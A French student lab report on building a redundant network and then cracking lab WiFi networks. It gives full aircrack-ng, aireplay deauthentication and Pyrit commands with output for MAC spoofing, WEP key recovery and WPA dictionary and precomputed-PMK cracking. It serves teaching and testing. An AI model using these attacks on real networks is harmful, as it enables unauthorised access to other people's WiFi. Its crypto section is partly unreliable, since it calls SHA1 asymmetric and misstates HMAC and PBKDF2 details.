Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Idéal.png]]&lt;br /&gt;
&lt;br /&gt;
Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.&lt;br /&gt;
&lt;br /&gt;
=== L'avancement du cablage du réseau ===&lt;br /&gt;
&lt;br /&gt;
L'image suivante détaille l'état du réseau avant le 07/10/2015.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Temporaire.png]]&lt;br /&gt;
&lt;br /&gt;
Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.&lt;br /&gt;
&lt;br /&gt;
== La partie commune ==&lt;br /&gt;
=== Les tests de sécurisation de réseaux WiFi ===&lt;br /&gt;
==== Accès par filtrage MAC ====&lt;br /&gt;
Nous avons commencé par effectué une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisé sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng start wlan0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons surveillé le réseau WiFi, nommé &amp;quot;baguette&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26&lt;br /&gt;
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -63        9        0    0   4  54e. OPN              baguette&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On spécifie alors le canal et le BSSID à utiliser pour plus de précision.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH  4 ][ Elapsed: 18 s ][ 2015-10-22 13:29                                           &lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -52 100      146        1    0   4  54e. OPN              baguette                                                                                                               &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR   Rate    Lost    Frames  Probe                 &lt;br /&gt;
C4:14:3C:40:78:60  00:15:AF:E7:19:F3  -59    0 - 5e     0        1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ifconfig wlan1 hw ether C4:14:3C:40:78:60&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Accès par filtrage WEP ====&lt;br /&gt;
Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airmon-ng &lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
&lt;br /&gt;
#airmon-ng start wlan3&lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
		(mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon)&lt;br /&gt;
		(mac80211 station mode vif disabled for [phy1]wlan3)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng wlan3mon&lt;br /&gt;
CH  9 ][ Elapsed: 0 s ][ 2015-11-12 11:58                                         &lt;br /&gt;
                                                                                                                                                                                                     &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                &lt;br /&gt;
 00:23:5E:1E:05:48  -57        2        0    0   7  54e. OPN              cracotte09                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:41  -56        3        0    0   7  54e. WEP  WEP         cracotte02                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:45  -57        3       22    0   7  54e. WEP  WEP         cracotte06                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:44  -56        2       19    0   7  54e. WEP  WEP         cracotte05                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:47  -55        3       42    0   7  54e. WEP  WEP         cracotte08                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:46  -55        1       67    0   7  54e. WEP  WEP         cracotte07                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:42  -56        2       67    0   7  54e. WEP  WEP         cracotte03                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:40  -57        2       98    0   7  54e. WEP  WEP         cracotte01                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:43  -58        4       99    0   7  54e. WEP  WEP         cracotte04                                                                                                           &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                                                            &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 04:DA:D2:CF:01:90  48:5A:3F:4C:37:61   -1    1e- 0      0        2                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:45  00:0F:B5:92:23:74  -64   54e-48e     2       21                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:44  00:0F:B5:92:23:6B  -65   48e- 2e    89        9                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:47  00:0F:B5:92:23:71  -67   54e-54e    39       37                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:46  00:0F:B5:92:23:69  -63   48e-54e     6       63                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:42  00:0F:B5:92:23:6A  -60   48e-54e     9       59                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:40  00:0F:B5:92:22:68  -55   36e-48e     9       94                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:43  00:0F:B5:92:23:75  -58   48e- 2e   145       93&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre cible étant le réseau &amp;quot;cracotte07&amp;quot;, nous spécifions donc le canal et l'ESSID&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon&lt;br /&gt;
CH  7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03                                         &lt;br /&gt;
&lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
 00:23:5E:1E:05:46  -64  17     1603    46339  201   7  54e. WEP  WEP         cracotte07&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 110082 packets.&lt;br /&gt;
&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:23:5E:1E:05:46  cracotte07                WEP (6190 IVs)&lt;br /&gt;
&lt;br /&gt;
Choosing first network as target.&lt;br /&gt;
&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Attack will be restarted every 5000 captured ivs.&lt;br /&gt;
Starting PTW attack with 6258 ivs.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous générons plus de flux à l'aide de aireplay.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aireplay-ng -5 -e cracotte07 wlan3mon&lt;br /&gt;
No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0)&lt;br /&gt;
12:02:11  Waiting for beacon frame (ESSID: cracotte07) on channel 7&lt;br /&gt;
Found BSSID &amp;quot;00:23:5E:1E:05:46&amp;quot; to given ESSID &amp;quot;cracotte07&amp;quot;.&lt;br /&gt;
12:02:11  Waiting for a data packet...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        Size: 70, FromDS: 0, ToDS: 1 (WEP)&lt;br /&gt;
&lt;br /&gt;
              BSSID  =  00:23:5E:1E:05:46&lt;br /&gt;
          Dest. MAC  =  FF:FF:FF:FF:FF:FF&lt;br /&gt;
         Source MAC  =  00:0F:B5:92:23:69&lt;br /&gt;
&lt;br /&gt;
        0x0000:  8841 2c00 0023 5e1e 0546 000f b592 2369  .A,..#^..F....#i&lt;br /&gt;
        0x0010:  ffff ffff ffff c014 0000 f898 0e00 8065  ...............e&lt;br /&gt;
        0x0020:  7e87 af6b e679 211e c9d6 1665 0b4f 7e2d  ~..k.y!....e.O~-&lt;br /&gt;
        0x0030:  6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35  l.-...?..1S./..5&lt;br /&gt;
        0x0040:  b7bd 03c5 5093                           ....P.&lt;br /&gt;
&lt;br /&gt;
Use this packet ? y&lt;br /&gt;
&lt;br /&gt;
Saving chosen packet in replay_src-1112-120211.cap&lt;br /&gt;
12:02:13  Data packet found!&lt;br /&gt;
12:02:13  Sending fragmented packet&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et enfin, aircrack trouve la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
                                                                                            Aircrack-ng 1.2 rc2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                            [00:02:12] Tested 853 keys (got 40800 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  9   55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568) &lt;br /&gt;
    1    0/  1   52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592) &lt;br /&gt;
    2    0/  1   55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824) &lt;br /&gt;
    3   13/  3   79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800) &lt;br /&gt;
    4    1/  4   CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824) &lt;br /&gt;
&lt;br /&gt;
     KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==== Accès par filtrage WPA ====&lt;br /&gt;
L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/perl&lt;br /&gt;
my $ite = 0;&lt;br /&gt;
my $max = 1000000;&lt;br /&gt;
my $outp;&lt;br /&gt;
my $tmp;&lt;br /&gt;
for (my $j=0; $j &amp;lt; 100; $j++)&lt;br /&gt;
{&lt;br /&gt;
    $tmp = sprintf(&amp;quot;[%02d]\n&amp;quot;, $j);                                                                                                                                                               &lt;br /&gt;
    print STDERR $tmp;&lt;br /&gt;
    for (my $i=0; $i &amp;lt; ($max); $i++)&lt;br /&gt;
    {&lt;br /&gt;
        $outp = sprintf(&amp;quot;%08d\n&amp;quot;, $ite);&lt;br /&gt;
        $ite++;&lt;br /&gt;
        print $outp;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous lançons donc la génération avec la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ./gen.pl &amp;gt; dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
859M -rw-r--r-- 1 root root 859M nov.  13 09:41 dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau &amp;quot;Almost Secure WiFi&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# airodump-ng --channel 6 --essid &amp;quot;Almost Secure WiFI&amp;quot; -w dmp wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Puis, nous désauthentifions les clients déjà connectés pour récupérer le &amp;quot;handshake&amp;quot; qui permettra le décryptage de la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aireplay-ng -0 5 -e &amp;quot;Almost Secure WiFI&amp;quot; wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois la désauthentification envoyée, nous récupérons le &amp;quot;handshake&amp;quot; durant la reconnection des clients.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 2370 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:13:46:79:6A:1C  Almost Secure WiFI        WPA (1 handshake)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Attaque par dictionnaire=====&lt;br /&gt;
A partir du moment où nous disposons du &amp;quot;handshake&amp;quot;, deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng -w dico.txt *.cap&lt;br /&gt;
                                 Aircrack-ng 1.2 beta3&lt;br /&gt;
                   [00:58:30] 12121212 keys tested (3659.24 k/s)&lt;br /&gt;
                           KEY FOUND! [ 12121212 ]&lt;br /&gt;
      Master Key     : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62&lt;br /&gt;
                       F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45&lt;br /&gt;
      Transient Key  : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF&lt;br /&gt;
                       68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8&lt;br /&gt;
                       45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28&lt;br /&gt;
                       A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E&lt;br /&gt;
      EAPOL HMAC     : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.&lt;br /&gt;
=====Attaque par Rainbow Tables=====&lt;br /&gt;
Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une &amp;quot;rainbow table&amp;quot; est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -e 'Almost Secure WiFI' create_essid&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Created ESSID 'Almost Secure WiFI'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la &amp;quot;rainbow table&amp;quot;. On remarqera que cette étape prend entre 5 à 10 secondes.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -i ./dic.txt import_passwords&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
100000000 lines read. Flushing buffers... ..&lt;br /&gt;
All done.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, nous devons générer la &amp;quot;rainbow table&amp;quot;. Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit benchmark&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Running benchmark (25147.5 PMKs/s)... \&lt;br /&gt;
&lt;br /&gt;
Computed 25147.53 PMKs/s total.&lt;br /&gt;
#1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8)&lt;br /&gt;
#2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0)&lt;br /&gt;
#3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0)&lt;br /&gt;
#4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec une vitesse de 25000 PMK/s, nous lançons la génération de la &amp;quot;rainbow table&amp;quot; qui prendra environ une heure.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Working on ESSID 'Almost Secure WiFI'&lt;br /&gt;
Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant que la &amp;quot;rainbow table&amp;quot; est générée, nous lançons l'attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -r *.cap attack_batch&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Parsing file 'dmp-01.cap' (1/1)...&lt;br /&gt;
Parsed 270 packets (270 802.11-packets), got 1 AP(s)&lt;br /&gt;
&lt;br /&gt;
Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically.&lt;br /&gt;
Attacking handshake with station 00:0c:e7:41:68:29&lt;br /&gt;
Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second&lt;br /&gt;
&lt;br /&gt;
The password is '12121212'.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par &amp;quot;rainbow tables&amp;quot; est donc largement plus performante.&lt;br /&gt;
&lt;br /&gt;
=====Algorithme de génération de PMK=====&lt;br /&gt;
Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le [https://tools.ietf.org/html/rfc2898 RFC 2898] de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:&lt;br /&gt;
*[PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)&lt;br /&gt;
*[PASSWORD] Le mot de passe&lt;br /&gt;
*[SALT] Le salage  (ici l'ESSID)&lt;br /&gt;
*[COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)&lt;br /&gt;
*[LEN] La longueur du résultat de la fonction (ici 256)&lt;br /&gt;
La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Où les &amp;quot;Un&amp;quot; sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN))&lt;br /&gt;
U2 = PRF(PASSWORD, U1)&lt;br /&gt;
...&lt;br /&gt;
Uc = PRF(PASSWORD, Ucount-1)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le [https://tools.ietf.org/html/rfc2104 RFC 2104] de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:&lt;br /&gt;
*[KEY] la clé utilisée pour encoder le message&lt;br /&gt;
*[MSG] le message à encoder&lt;br /&gt;
*[H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)&lt;br /&gt;
*[HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)&lt;br /&gt;
Le principe de fonctionnement est le suivant:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function HMAC(KEY, MSG, H, HLEN)&lt;br /&gt;
    if(length(KEY) &amp;gt; HLEN)&lt;br /&gt;
        KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H&lt;br /&gt;
    if(length(KEY) &amp;lt; HLEN)&lt;br /&gt;
        KEY = KEY || (0x00 * (HLEN - LENGTH(KEY)))&lt;br /&gt;
&lt;br /&gt;
    opad_key = (opad * HLEN) ^ KEY;&lt;br /&gt;
    ipad_key = (ipad * HLEN) ^ KEY;&lt;br /&gt;
&lt;br /&gt;
    return H(opad_key || H(ipad_key || MSG)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans cette fonction:&lt;br /&gt;
*L'opérateur || désigne la concaténation directe tel que &amp;quot;J'aime le&amp;quot;||&amp;quot; poulet&amp;quot; est égale à &amp;quot;J'aime le poulet&amp;quot;&lt;br /&gt;
*L'opérateur * désigne la répétition de l'élément tel que &amp;quot;J&amp;quot;*4 est égale à &amp;quot;JJJJ&amp;quot;&lt;br /&gt;
*L'opérateur ^ désigne l'opérateur XOR logique&lt;br /&gt;
*La variable opad est une constance valant 0x5C&lt;br /&gt;
*La variable ipad est une constance valant 0x36&lt;br /&gt;
Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function SHA1(PASS)&lt;br /&gt;
    h0 = 0x67452301&lt;br /&gt;
    h1 = 0xEFCDAB89&lt;br /&gt;
    h2 = 0x98BADCFE&lt;br /&gt;
    h3 = 0x10325476&lt;br /&gt;
    h4 = 0xC3D2E1F0&lt;br /&gt;
    ml = message length in bits (always a multiple of the number of bits in a character).&lt;br /&gt;
&lt;br /&gt;
    append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits.&lt;br /&gt;
    append 0 ≤ k &amp;lt; 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512)&lt;br /&gt;
    append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits.&lt;br /&gt;
&lt;br /&gt;
    break message into 512-bit chunks&lt;br /&gt;
    for each chunk&lt;br /&gt;
        break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15&lt;br /&gt;
&lt;br /&gt;
        //Extend the sixteen 32-bit words into eighty 32-bit words:&lt;br /&gt;
